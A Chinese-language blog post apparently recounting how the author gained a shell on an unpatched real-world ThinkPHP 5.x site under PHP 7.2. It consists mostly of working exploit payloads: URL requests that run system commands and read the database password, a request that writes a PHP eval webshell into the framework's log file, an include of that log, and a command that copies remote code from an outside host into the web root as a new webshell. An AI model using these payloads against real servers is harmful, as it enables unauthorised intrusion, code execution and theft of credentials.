• 起因
  • GETSHELL 过程
  • 参考
  • 首页
  • 渗透
  • 折腾
  • 转载
  • 关于Me
  • 榜上有名
  • 文章存档
  • 友情链接

不妨看看这里

会员面板

Base64 Image

thinkPHP 5X 在PHP7以上环境下的 GETSHELL

  • Mr.Wu
  • 2019-05-04
  • 0

起因

thinkPHP 的命令执行漏洞已经过去好一阵子了,然而还有许多站并没有修复这个漏洞,今天恰巧让我遇到这么一个,

但是因为目标 PHP 版本是 7.2.14 导致 GETSHELL 变的异常麻烦,在各种折腾下最终成功,记录分享一波~

GETSHELL 过程

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/think\config/get&name=database.hostname

?s=index/think\config/get&name=database.password

?s=index/\think\Request/input&filter=system&data=id

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

以上这些方法全部行不通,不过在用下面这个方法却能成功显示 phpinfo

/index.php?s=captcha

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

说明有戏,可以试试,禁用了很多函数,经过各种查阅文档和尝试,最终通过下面的方法 GETSHELL

1.写入 shell 到日志文件中

/?s=captcha

_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[1337]); ?>

2.包含日志文件 GETSHELL

/?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log

其实这一步就已经可以结束了,但是由于一句话和日志混在一起的,日志又基本很大,导致很麻烦,所以我们还需要在来一个步骤

3.通过一句话 copy 新一句话文件

/?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log&1337=echo copy("https://www.mrwu.red/1.txt","/www/wwwroot/test.xxxx.cn/2.php");

这样的话,这个 2.PHP 文件中的内容就是我们 1.txt 中的内容,没有其他乱七八糟的东西,舒爽多了

参考

ThinkPHP绕过宝塔getshell

© 2025 MrWu
Theme by Wing-child
  • {{ item.name }}
  • {{ item.name }}